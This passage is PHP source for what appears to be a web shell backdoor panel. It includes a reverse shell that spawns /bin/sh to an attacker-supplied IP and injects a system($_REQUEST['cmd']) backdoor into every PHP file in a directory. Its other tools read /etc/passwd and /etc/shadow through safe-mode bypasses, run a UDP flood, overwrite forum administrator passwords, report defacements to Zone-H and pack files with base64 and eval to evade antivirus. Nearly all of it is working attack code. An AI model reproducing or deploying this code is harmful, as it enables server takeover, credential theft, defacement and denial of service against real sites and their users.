				total_copy($_SESSION['CopyPath'] . "\\" . $item ,$_SESSION['current_dir'] . "\\" . $item);
		}
		$_SESSION['lastAction']="";
		
	}
	else if( isset($_SESSION['lastAction']) and $_SESSION['lastAction']=='Cut')
	{
		foreach ($_SESSION['Cut'] as $item)
		{
			if($islinux)
			{
				total_copy($_SESSION['CutPath'] . "/" . $item ,$_SESSION['current_dir'] . "/" . $item);
				total_delete($_SESSION['CutPath'] . "/" . $item);
			}
			else
			{
				total_copy($_SESSION['CutPath'] . "\\" . $item ,$_SESSION['current_dir'] . "\\" . $item);
				total_delete($_SESSION['CutPath'] . "\\" . $item);
			}
		}
		$_SESSION['lastAction']="";
		
		
	}
	
}
function processDelete()
{
	global $islinux;
	foreach ($_POST['fileItem'] as $item){
		if($islinux)
		{
			total_delete($_SESSION['current_dir'] . "/" . $item);
		}
		else
			total_delete($_SESSION['current_dir'] . "\\" . $item);
	}
}

function sendEmails()
{
	global $to,$from,$replyto,$cc,$subject,$message,$attachment;
	
	
	$mail = new SimpleMail();
	
	$tos = explode(",",$to);
	foreach ($tos as $i)
	{
		$mail->setTo($i, '');
	}
	$mail->setSubject($subject);
	$mail->setFrom($from, '');
	
	$mail->addMailHeader('Reply-To', $replyto, '');
	$ccs = explode(",",$cc);
	foreach ($ccs as $a)
	{
		$mail->addMailHeader('Cc', $a, '');
	}
	//$mail->addMailHeader('Bcc', 'steve@example.com', 'Steve Jobs');
	$mail->addGenericHeader('X-PHP-Script', '');
	
	$mail->addGenericHeader('X-Mailer', 'PHP/' . phpversion());
	$mail->addGenericHeader('Content-Type', 'text/html; charset="utf-8"');
	$mail->setMessage($message);
	if($attachment!="")
	{
		$ats = explode(",",$attachment);
		foreach ($ats as $a)
		{
		//	echo "inside attachment<br>";
			$mail->addAttachment($a);
		}
	}
	$mail->setWrap(100);
	$oldphpself = $_SERVER['PHP_SELF'];
	$oldremoteaddr = $_SERVER['REMOTE_ADDR'];
	
	$_SERVER['PHP_SELF']="";
	$_SERVER['REMOTE_ADDR'] = $_SERVER['SERVER_ADDR'];
	
	$send = $mail->send();
	$_SERVER['PHP_SELF']=$oldphpself;
	$_SERVER['REMOTE_ADDR']=$oldremoteaddr;

	echo ($send) ? 'Email sent successfully' : 'Could not send email';
	return "";
}
function displayMailer()
{
	global $sendemail;
	?>
	<div class='bodyDiv'>
	<form method="post">
	<table id="db">
	<td>
	<tr><td>To:</td><td><input type="text" name="to"><td></tr>
	<tr><td>From:</td><td><input type="text" name="from"><td></tr>
	<tr><td>Cc: </td><td><input type="text" name="cc"><td></tr>
	<tr><td>Bcc: </td><td><input type="text" name="bcc"><td></tr>
	<tr><td>Reply-To: </td><td><input type="text" name="replyto"><td></tr>
	<tr><td>Subject: </td><td><input type="text" name="subject"><td></tr>
	<tr><td>Message: </td><td><td></tr>
	<tr><td colspan="2"><textarea name="message" rows="25" ></textarea><td></tr>
	<tr><td >Attachment: </td><td><input type="text" name="attachment"><td></tr>
	<tr><td></td><td><input type="submit" name="sendemail" value="send"><td></tr>
	</table>
	</form></div>
	<?php
	 if(isset($sendemail))
	 {
	 	echo "<div class='bodyDiv'>";
	 	echo sendEmails();
	 	echo "</div>";
	 }
}
function displayInfo()
{
	
	global $islinux;
	$res="<div class='bodyDiv'><table>";
	$res .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
			$access = array("python"=>"python -V",
						"perl"=>"perl -e \"print \$]\"",
						"python"=>"python -V",
						"ruby"=>"ruby -v",
						"node"=>"node -v",
						"nodejs"=>"nodejs -v",
						"gcc"=>"gcc -dumpversion",
						"java"=>"java -version",
						"javac"=>"javac -version"
						);
		foreach($access as $k=>$v){
			exec($v, $version);
			//$version = execute($v);
			//$version = explode("\n", $version);
			if(isset($version[0]) and $version[0]) $version = $version[0];
			else $version = "?";
			$res .= "<tr><td>".$k."</td><td>".$version."</td></tr>";
		}
		if($islinux){
			$interesting = array(
					"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
					"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
					"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
					"/etc/ssh/sshd_config",
					"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
					"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
					"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
			foreach($interesting as $f){
				if(@is_file($f) && @is_readable($f)) $res .= "<tr><td><a href='".$rpath."?vf=".$f."'>".$f."</a></td><td>".$f." is readable</a></td></tr>";
			}
		}
		echo $res;
	echo "</div>";
}
function displayDomains()
{
	$f = "/etc/named.conf";
	echo "<div class='bodyDiv'>";
	if(@is_readable($f))
	{
		$file = @implode(@file("/etc/named.conf"));
		if (!$file) {
			die("# Can't Read [/etc/named.conf]");
		}
		preg_match_all("#named/(.*?).db#", $file, $r);
		$domains = array_unique($r[1]);
		{
			echo "Domains Found: " . count($domains) . "<br>";
			echo "<table ><tr><td>Domain</td><td>User</td></tr>";
			foreach ($domains as $domain) {
				$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
				echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
			}
			echo "</table>";
		}
	}
	else 
		echo $f . " not readable!";
	echo "</div>"; 
}



function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
	$k = curl_init();
	curl_setopt($k, CURLOPT_URL, $url);
	curl_setopt($k,CURLOPT_POST,true);
	curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
	curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
	$kubra = curl_exec($k);
	curl_close($k);
	return $kubra;
}

function displayZoneH()
{
	global $defacer, $hackmode, $reason,$sites;
	
	if(isset($defacer) and isset($hackmode) and isset($reason) and isset($sites))
	{	
		echo "<div class='bodyDiv'>";
		$i = 0;
		$sites = explode("\n", $sites);
		echo "<pre class=ml1 style='margin-top:5px'>";
		while($i < count($sites))
		{
			if(substr($sites[$i], 0, 4) != "http")
			{
				$sites[$i] = "http://".trim($sites[$i]);
			}
			ZoneH("http://zone-h.org/notify/single", $defacer, $hackmode, $reason, $sites[$i]);
			echo "<font class=txt size=3>Site : ".$sites[$i] ." Posted !</font><br>";
			++$i;
		}
		echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
		echo "</div>";
	}	
	?>
	<div class='bodydiv'>
	<form method="post" action="">
	Notifier
	<input type="text" name="defacer" value="Attacker"/><br>
	Websites:<br>
	<textarea rows=15 name='sites'></textarea>
	<select name="hackmode">
	<option value="">--------SELECT--------</option>
		<option value="1" >known vulnerability (i.e. unpatched system)</option>
		<option value="2" >undisclosed (new) vulnerability</option>
		<option value="3" >configuration / admin. mistake</option>
		<option value="4" >brute force attack</option>
		<option value="5" >social engineering</option>
		<option value="6" >Web Server intrusion</option>
		<option value="7" >Web Server external module intrusion</option>
		<option value="8" >Mail Server intrusion</option>
		<option value="9" >FTP Server intrusion</option>
		<option value="10" >SSH Server intrusion</option>
		<option value="11" >Telnet Server intrusion</option>
		<option value="12" >RPC Server intrusion</option>
		<option value="13" >Shares misconfiguration</option>
		<option value="14" >Other Server intrusion</option>
		<option value="15" >SQL Injection</option>
		<option value="16" >URL Poisoning</option>
		<option value="17" >File Inclusion</option>
		<option value="18" >Other Web Application bug</option>
		<option value="19" >Remote administrative panel access through bruteforcing</option>
		<option value="20" >Remote administrative panel access through password guessing</option>
		<option value="21" >Remote administrative panel access through social engineering</option>
		<option value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
		<option value="23" >Access credentials through Man In the Middle attack</option>
		<option value="24" >Remote service password guessing</option>
		<option value="25" >Remote service password bruteforce</option>
		<option value="26" >Rerouting after attacking the Firewall</option>
		<option value="27" >Rerouting after attacking the Router</option>
		<option value="28" >DNS attack through social engineering</option>
		<option value="29" >DNS attack through cache poisoning</option>
		<option value="30" >Not available</option>
		<option value="31" >Cross-Site Scripting</option>
	</select>
	<select name="reason">
		<option value="">--------SELECT--------</option>
		<option value="1" >Heh...just for fun!</option>
		<option value="2" >Revenge against that website</option>
		<option value="3" >Political reasons</option>
		<option value="4" >As a challenge</option>
		<option value="5" >I just want to be the best defacer</option>
		<option value="6" >Patriotism</option>
		<option value="7" >Not available</option>
	</select> 
	<input type="submit" value="Send"/></ul>
	</form>
	</div>
	<?php 
}
function displayExploit()
{
	global $exploitwebsite;
	
	
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$sversion="";
	if(strpos('Linux', $kernel) !== false)
		$sversion= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$sversion= urlencode($kernel . ' ' . substr($release,0,3));
	
	echo "<div class='bodydiv'>";
	echo "<font size='6em'><a href='http://www.exploit-db.com/search/?action=search&description=" . $sversion . "' onclick='return !window.open(this.href);'> Exploit-db </a><br>";
	
	echo "<a href='https://www.google.com/?q=" . $sversion . " Exploit' onclick='return !window.open(this.href);'> Google </a> <br>";
	
	
	
	echo "</font></div>";
	
}

function displayCodeInject()
{
	global $codeInject;
	if(isset($codeInject))
	{
		//var_dump($codeInject);
		if(isset($_SESSION['current_dir'])){
			chdir($_SESSION['current_dir']);
		}

		$handle = opendir($_SESSION['current_dir']);
		while($aux = readdir($handle)) {
			if(!is_dir($aux) and strpos($aux,".php")!==false )
			{
				file_put_contents($aux,"<?php \n" . $codeInject . " ?>" . file_get_contents($aux));
			}
		}
		@closedir($handle);
			

	}
	?>
	<div class='bodydiv'>
	<form action="">
	Inject PHP Code all .php files in current directory!<br><br>
	&lt;?
	<br>
	<textarea rows="14" name='codeInject'>
if(isset($_REQUEST["cmd"])) 
{
system($_REQUEST["cmd"]); 
}
	</textarea>
	<br>
	?&gt;
	<br>
	<br>
	<input type="submit" name="Submit" value="Inject">
	</form>
	</div>
	<?php 
}
function bypassCopy($file)
{
	if(@copy($file,"test1.php"))
	{
		$fh=fopen("test1.php",'r');
		echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea></br></br>";
		@fclose($fh);
		unlink("test1.php");
	}
	return true;
}

function bypassImap($file)
{
		
		$stream = @imap_open($file, "", "");
		$str = @imap_body($stream, 1);
		echo "<textarea cols=120 rows=20 class=box readonly>";
		echo $str;
		echo "</textarea>";
		return true;
}
function bypassSql($file)
{
	/*
	else if(isset($_GET['sql']))
	{
		echo "<textarea cols=120 rows=20 class=box readonly>";
		$file=$_GET['sql'];
	
		$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
		$mysql_files = explode(':', $mysql_files_str);
			
		$sql = array (
				"USE $mdb",
				'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
				"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
				. "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
				. "ESCAPED BY          '' "
				. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
	
				"SELECT a FROM $tbl LIMIT 1"
		);
		mysql_connect ($mhost, $muser, $mpass);
	
		foreach ($sql as $statement) {
			$q = mysql_query ($statement);
	
			if ($q == false) die (
					"FAILED: " . $statement . "\n" .
					"REASON: " . mysql_error () . "\n"
			);
	
			if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
	
			echo htmlspecialchars($r[0]);
			mysql_free_result ($q);
		}
		echo "</textarea>";
	}*/
}
function bypassCurl($file)
{

		$ch=@curl_init("file://" . $file);
		@curl_setopt($ch,CURLOPT_HEADERS,0);
		@curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
		$file_out=@curl_exec($ch);
		@curl_close($ch);
		echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
		return true;
}
function bypassId($file)
{
	
		echo "<textarea cols=120 rows=20 class=box readonly>";
		for($uid=0;$uid<60000;$uid++)
		{   //cat /etc/passwd
			$ara = posix_getpwuid($uid);
			if (!empty($ara))
			{
				while (list ($key, $val) = each($ara))
				{
					print "$val:";
				}
				print "\n";
			}
		}
		echo "</textarea>";
		return true;
}
function bypassTmp($file)
{
	$mytmp = tempnam ( 'tmp', $file );
	$fp = fopen ( $mytmp, 'r' );
	while(!feof($fp))
		echo fgets($fp);
	fclose ( $fp );
	return true;
}
function bypassSymlink($file)
{
		echo "<textarea cols=120 rows=20 class=box readonly>";
		@mkdir("dat.001",0777);
		@chdir("dat.001");
		exec("ln -s  " .$file." passwd");
		echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/dat.001/passwd");
		echo "</textarea>";
		return true;
	
}
function bypassxxd($filename)
{
		echo "<textarea cols=120 rows=20 class=box readonly>";
		echo @shell_exec("xxd ".$filename);
		echo "</textarea>";	
		return true;
}
function bypassrev($filename)
{
		echo "<textarea cols=120 rows=20 class=box readonly>";
		echo @shell_exec("rev ".$filename);
		echo "</textarea>";	
		return true;
}
function bypasstac($filename)
{
		echo "<textarea cols=120 rows=20 class=box readonly>";
		echo @shell_exec("tac ".$filename);
		echo "</textarea>";	
		return true;
}
function bypassmore($filename)
{
		echo "<textarea cols=120 rows=20 class=box readonly>";
		echo @shell_exec("more ".$filename);
		echo "</textarea>";	
		return true;
}
function bypassless($filename)
{
		echo "<textarea cols=120 rows=20 class=box readonly>";
		echo @shell_exec("less ".$filename);
		echo "</textarea>";	
		return true;
}

function displayBypassers()
{
	
	global $tgtfile,$islinux,$tgt;
	?>
	<div class='bodydiv'>
	
	http://ragde4.blogspot.com/2012/04/all-safemode-bypass-exploit.html<br>
	http://hackers2devnull.blogspot.com/2013/05/when-safe-mode-is-on-it-can-be-pain-to.html<br>
	http://xedlgubaid.blogspot.com/2012/05/how-to-bypass-safe-mode-on-in-server.html<br><br>
	
	<form method="post">
	File: <br><input name='tgtfile' value="/etc/passwd"> <br>
	<table id='bypass'>
	<tr><td>Bypass with Copy</td><td><input type="submit" name="tgt" value="Copy"></td></tr>
	<tr><td>Bypass with Imap</td><td><input type="submit" name="tgt" value="Imap"></td> </tr>
	<tr><td>Bypass with Curl</td><td><input type="submit" name="tgt" value="Curl"> </td></tr>
	<tr><td>Bypass with Id</td><td><input type="submit" name="tgt" value="Id"> </td></tr>
	<tr><td>Bypass with Tmpnam</td><td> <input type="submit" name="tgt" value="Tmp"></td></tr>
	<tr><td>Bypass with Symlink</td><td><input type="submit" name="tgt" value="Symlink"> </td></tr>
	<tr><td>Bypass with xxd</td><td><input type="submit" name="tgt" value="xxd"></td> </tr>
	<tr><td>Bypass with rev</td><td><input type="submit" name="tgt" value="rev"> </td></tr>
	<tr><td>Bypass with tac</td><td><input type="submit" name="tgt" value="tac"> </td></tr>
	<tr><td>Bypass with more</td><td><input type="submit" name="tgt" value="more"></td> </tr>
	<tr><td>Bypass with less</td><td><input type="submit" name="tgt" value="less"> </td></tr>
	</table>

	
	</form>
	</div>
	<?php 
	if(isset($tgtfile))
	{
		echo "<br>Bypassing " . $tgtfile . "<br>";
		if($tgt==="Copy" and bypassCopy($tgtfile)===true)
		{
			echo "bypassed";
		}
		//echo "Bypassing with Imap...<br>";
		//if(@bypassImap($tgtfile)===true)
		//{
		//	echo "bypassed!";
		//}
		//echo "Bypassing with Curl...<br>";
		//try {
			
		//	if(bypassCurl($tgtfile)===true)
		//	{
		//		echo "bypassed!";
		//	}
		//}
		//catch(Exception $e)
		//{
		//	echo $e->getMessage();
	//	}
	if($islinux)
	{
		if($tgt=="Id" and @bypassId($tgtfile)===true)
		{
			echo "bypassed!";
		}
	}
	if($tgt=="Tmp" and bypassTmp($tgtfile)===true)
	{
		echo "bypassed!";
	}
	
		if($tgt==="Symlink" and @bypassSymlink($tgtfile)===true)
		{
			echo "bypassed!";
		}
		if($tgt==="xxd" and @bypassxxd($tgtfile)===true)
		{
			echo "bypassed!";
		}
		if($tgt==="rev" and @bypassrev($tgtfile)===true)
		{
			echo "bypassed!";
		}
		if($tgt==="tac" and @bypasstac($tgtfile))
		{
			echo "bypassed!";
		}
		if($tgt==="more" and @bypassmore($tgtfile))
		{
			echo "bypassed!";
		}
		if($tgt==="less" and @bypassless($tgtfile))
		{
			echo "bypassed!";
		}
	}
}
function displayDoS()
{
	global $ip1,$exTime,$port,$timeout;
	 
	?>
	<div class='bodydiv'>
	<form method="post">
	<table>
	<tr><td>Target IP : </td><td><input name="ip1" value=""></td></tr>
	<tr><td>Target Port:</td><td> <input name="port" value=80></td></tr>
	<tr><td>Execution Time Seconds:</td><td> <input name="exTime" value=10></td></tr>
	<tr><td>Time Out:</td><td> <input name="timeout" value=5></td></tr>
	</table>
	<input type="submit" value="DoS">
	</form>
	
	
	</div>
	<?php 
	//https://github.com/drego85/DDoS-PHP-Script/blob/master/ddos.php#L6
	
	
	if(isset($ip1) and isset($port) and isset($exTime) and isset($timeout))
	{
		$pktSize = 609999;
		$data = "";
		$packets = 0;
		$counter = $pktSize;
		$maxTime = time() + $exTime;;
		while($counter--)
		{
			$data .= "X";
		}
		
		 
		while(1)
		{
			$socket = fsockopen("udp://$ip1", $port, $error, $errorString, $timeout);
			if($socket)
			{
				fwrite($socket , $data);
				fclose($socket);
				$packets++;
			}
			if(time() >= $maxTime)
			{
			break;
		}
	}
	echo "<div class='bodyDiv'>";
	echo "Dos Completed!<br>";
	echo "DOS attack against udp://$ip1:$port completed on ".date("h:i:s A")."<br />";
	echo "Total Number of Packets Sent : " . $packets . "<br />";
	echo "Total Data Sent = ". format_size($packets*$pktSize) . "<br />";
	echo "Data per packet = " . format_size($pktSize) . "<br />";
	echo "</div>";
}
	
	
	
}
function displayLogs()
{
	?>
	<div class='bodydiv'>
	Logs from server...!
	</div>
	<?php 
}
function displaySelfKill()
{
	global $KillMe;
	echo "<div class='bodyDiv'> Are you sure?<br>";
	echo "<form method='post'> <input type='Submit' name='KillMe' value='KillMe'></form>";
	if(isset($KillMe))
		total_delete( __FILE__); 
}
function displayReverseNetcat()
{
	global $ip,$port;
	?>
	<div class='bodyDiv'>
	<form method="post">
	IP :	<input name="ip">
	Port: <input name="port">
	<input  type="submit" name="submit" value="Run">
	</form>
	<br>First Run  #nc -lvp [port] , then run this script.  
	</div>
	<?php 
	if(isset($ip) and isset($port))
	{
		echo "<div class='bodyDiv'>Connecting</div>";
		reverseNetcat();
	}
	
}
function reverseNetcat()
{
	global $daemon,$ip,$port;

	set_time_limit (0);
	//$ip = $_REQUEST['ip']; //'127.0.0.1';  // CHANGE THIS
	//$port = $_REQUEST['port'];  //1234;       // CHANGE THIS
	$chunk_size = 1400;
	$write_a = null;
	$error_a = null;
	$shell = 'uname -a; w; id; /bin/sh -i';
	$daemon = 0;
	$debug = 0;
	
	//
	// Daemonise ourself if possible to avoid zombies later
	//
	
	// pcntl_fork is hardly ever available, but will allow us to daemonise
	// our php process and avoid zombies.  Worth a try...
	if (function_exists('pcntl_fork')) {
		// Fork and have the parent process exit
		$pid = pcntl_fork();
	
		if ($pid == -1) {
			printit("ERROR: Can't fork");
			exit(1);
		}
	
		if ($pid) {
			exit(0);  // Parent exits
		}
	
		// Make the current process a session leader
		// Will only succeed if we forked
		if (posix_setsid() == -1) {
			printit("Error: Can't setsid()");
			exit(1);
		}
	
		$daemon = 1;
	} else {
		printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
	}
	
	// Change to a safe directory
	chdir("/");
	
	// Remove any umask we inherited
	umask(0);
	
	//
	// Do the reverse shell...
	//
	
	// Open reverse connection
	$sock = fsockopen($ip, $port, $errno, $errstr, 30);
	if (!$sock) {
		printit("$errstr ($errno)");
		exit(1);
	}
	
	// Spawn shell process
	$descriptorspec = array(
			0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
			1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
			2 => array("pipe", "w")   // stderr is a pipe that the child will write to
	);
	
	$process = proc_open($shell, $descriptorspec, $pipes);
	
	if (!is_resource($process)) {
		printit("ERROR: Can't spawn shell");
		exit(1);
	}
	
	// Set everything to non-blocking
	// Reason: Occsionally reads will block, even though stream_select tells us they won't
	stream_set_blocking($pipes[0], 0);
	stream_set_blocking($pipes[1], 0);
	stream_set_blocking($pipes[2], 0);
	stream_set_blocking($sock, 0);
	
	printit("Successfully opened reverse shell to $ip:$port");
	
	while (1) {
		// Check for end of TCP connection
		if (feof($sock)) {
			printit("ERROR: Shell connection terminated");
			break;
		}
	
		// Check for end of STDOUT
		if (feof($pipes[1])) {
			printit("ERROR: Shell process terminated");
			break;
		}
	
		// Wait until a command is end down $sock, or some
		// command output is available on STDOUT or STDERR
		$read_a = array($sock, $pipes[1], $pipes[2]);
		$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
	
		// If we can read from the TCP socket, send
		// data to process's STDIN
		if (in_array($sock, $read_a)) {
			if ($debug) printit("SOCK READ");
			$input = fread($sock, $chunk_size);
			if ($debug) printit("SOCK: $input");
			fwrite($pipes[0], $input);
		}
	
		// If we can read from the process's STDOUT
		// send data down tcp connection
		if (in_array($pipes[1], $read_a)) {
			if ($debug) printit("STDOUT READ");
			$input = fread($pipes[1], $chunk_size);
			if ($debug) printit("STDOUT: $input");
			fwrite($sock, $input);
		}
	
		// If we can read from the process's STDERR
		// send data down tcp connection
		if (in_array($pipes[2], $read_a)) {
			if ($debug) printit("STDERR READ");
			$input = fread($pipes[2], $chunk_size);
			if ($debug) printit("STDERR: $input");
			fwrite($sock, $input);
		}
	}
	
	fclose($sock);
	fclose($pipes[0]);
	fclose($pipes[1]);
	fclose($pipes[2]);
	proc_close($process);
	
}


function printit ($string) {
	global $daemon;
	if (!$daemon) {
		print "$string\n";
	}
}
function displayPortScanner()
{
	global $tgtip,$proto;
	if(!isset($tgtip))
	{
		$tgtip='localhost';
	}
	?>
	<div class='bodyDiv'>
	<form method="post">
	Target: <input name='tgtip' value='<?php echo $tgtip;?>' ><br>
	<input type="radio" value="tcp" name="proto"> TCP <br>
	<input type="radio" value="udp" name="proto"> UDP <br>
	<input type="submit" value="Scan">
	</form>
	</div>
	<div class='bodyDiv'>
	<?php 
	
	if(isset($proto))
	{
		echo "Open Ports: ";
		$myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
		for($current = 0; $current <= 23; $current++)
		{
			$currents = $myports[$current];
			$service = getservbyport($currents, $proto);
			// Try to connect to port
			$result = @fsockopen($tgtip, $currents, $errno, $errstr, 1);
			// Show results
			if($result)
			{
				echo "<font class=txt>$currents, </font>";
				flush();
			}
		}
	}
	echo "</div>";
}

function displayForums()
{
	global $faction;
	?>
	<div class='bodydiv'>
	<form method="post">
	<table id='db'>
	<tr><td>DB Host:</td><td> <input name='dbhost'></td></tr>
	<tr><td>DB Name:</td><td><input name='dbname'></td></tr>
	<tr><td>DB User:</td><td> <input name='dbusername'></td></tr>
	<tr><td>DB Pass:</td><td> <input name='dbpassword'></td></tr>
	<tr><td>Forum: </td><td><select  name="forum" ">
	<option value="wp">Wordpress</option>
	<option value="joomla">Joomla</option>
	<option value="vb">vBulletin</option>
	<option value="phpbb">phpBB</option>
	<option value="mybb">MyBB</option>
	
	

	</select></td></td></tr>
	<tr><td>User:</td><td> <input name='username'></td></tr>
	<tr><td>New Pass:</td><td> <input name='newpassword'></td></tr>
	<tr><td>Table Prefix:</td><td> <input name='prefix'></td></tr>
	
	</table>
	<input type="submit" name='faction' value='ChangeForumPass'><br><br>
	<textarea rows="3" name='defacedata'></textarea><br><br>
		<input type="submit" name='faction' value='DefaceForum'>
	
	</form>
	
	</div>
	<?php 
	if(isset($faction) and $faction==='ChangeForumPass')
	{
		changeForumPassword();
	}
	if(isset($faction) and $faction==='DefaceForum')
	{
		defaceForums();
	}
}

function changeForumPassword()
{
	global $dbhost,$dbname,$dbusername,$dbpassword,$forum,$defacedata,$username,$newpassword,$prefix;
	//echo "db host ".$dbhost."db name ".$dbname."db username ".$dbusername.
	//"db pass ".$dbpassword."forums ".$forums."db defacedata: ".$defacedata;
	//echo "this is change forum password";
	if($forum === "wp")
	{
		
		
		$con = mysql_connect($dbhost,$dbusername,$dbpassword);
		$db = mysql_select_db($dbname,$con);
	
		$newpassword = md5($newpassword);
		if($prefix == "" || $prefix == null)
			$sql = mysql_query("update wp_users set user_pass = '$newpassword' where user_login = '$username'");
		else
			$sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword' where user_login = '$username'");
		if($sql)
		{
			mysql_close($con);
			echo "<font class=txt>Password Changed Successfully</font>";
		}
		else
			echo "Cannot Change Password";
	}
	if($forum === "joomla")
	{
		$con = mysql_connect($dbhost,$dbusername,$dbpassword);
		$db = mysql_select_db($dbname,$con);
	
		$newpassword = md5($newpassword);
		if($prefix == "" || $prefix == null)
			$sql = mysql_query("update josvk_users set password = '$newpassword' where username = '$username' ");
		else
			$sql = mysql_query("update ".$prefix."users set password = '$newpassword'  where username = '$username' ");
		if($sql)
		{
			mysql_close($con);
			echo "<font class=txt>Password Changed Successfully</font>";
		}
		else
			echo "Cannot Change Password";
	}
	if($forum === "phpbb")
	{
		//echo "db host ".$dbhost."db name ".$dbname."db username ".$dbusername.
	//	"db pass ".$dbpassword."forums ".$forum."db defacedata: ".$defacedata
	//	."new pass: ".$newpassword ."db username: ".$username;
		$con = mysql_connect($dbhost,$dbusername,$dbpassword);
		$db = mysql_select_db($dbname,$con);
	
		$newpassword = md5($newpassword);
		if($prefix == "" || $prefix == null)
			$sql = mysql_query("update phpbb_users set user_password = '$newpassword' where username = '$username' ");
		else
			$sql = mysql_query("update ".$prefix."users set user_password = '$newpassword'  where username = '$username' ");
		if($sql)
		{
			mysql_close($con);
			echo "<font class=txt>Password Changed Successfully</font>";
		}
		else
			echo "Cannot Change Password";
	}
	if($forum === "mybb")
	{
		$con = mysql_connect($dbhost,$dbusername,$dbpassword);
		$db = mysql_select_db($dbname,$con);
		$salt="00700700";
		$newpassword = md5(md5($salt).md5($newpassword));
		if($prefix == "" || $prefix == null)
			$sql = mysql_query("update mybb_users set password = '$newpassword',salt = '$salt'
					 where username = '$username' ");
		else
			$sql = mysql_query("update ".$prefix."users set password = '$newpassword',salt = '$salt'
				where username = '$username' ");
		if($sql)
		{
			mysql_close($con);
			echo "<font class=txt>Password Changed Successfully</font>";
		}
		else
			echo "Cannot Change Password";
	}
	if($forum === "vb")
	{
		$con = mysql_connect($dbhost,$dbusername,$dbpassword);
		$db = mysql_select_db($dbname,$con);
		$salt="00700700";
		$newpassword = md5(md5($newpassword) . $salt);
		if($prefix == "" || $prefix == null)
			$sql = mysql_query("update user set password = '$newpassword',salt = '$salt'
					where username = '$username' ");
		else
			$sql = mysql_query("update ".$prefix."users set password = '$newpassword',salt = '$salt'
					where username = '$username' ");
		if($sql)
		{
			mysql_close($con);
			echo "<font class=txt>Password Changed Successfully</font>";
		}
		else
			echo "Cannot Change Password";
	}
}
function defaceForums()
{
	global $dbhost,$dbname,$dbusername,$dbpassword,$forum,$defacedata,$newusername,$newpassword;
	//echo $dbhost.$dbname.$dbusername.$dbpassword.$forums.$defacedata;
	echo "this is deface forum!";
}
function displayEvadeAV()
{
	global $file1,$file2;
	?>
		<div class='bodydiv'>
		<form method="post">
		Input Filename: <input name="file1"> Output Filename: <input name="file2"> <br>
		<input type="submit" value='EvadeAV' >
		</form>
		</div>
		<?php 
		if(isset($file1) and isset($file2))
		{
			$data = file_get_contents($file1);
			$dataEncoded = base64_encode(gzcompress($data,9));
			$ev1 = "\$tmp='{$dataEncoded}';"; 
				
			$ev2 = "\$tmp1 = gzuncompress(base64_decode(\$tmp));";
			
			$output = "<?php {$ev1} 
			{$ev2} 
			eval(\"?>\".\$tmp1.\"<?php;\"); 
			?>";
			
			file_put_contents($file2,$output);
		}
}
?>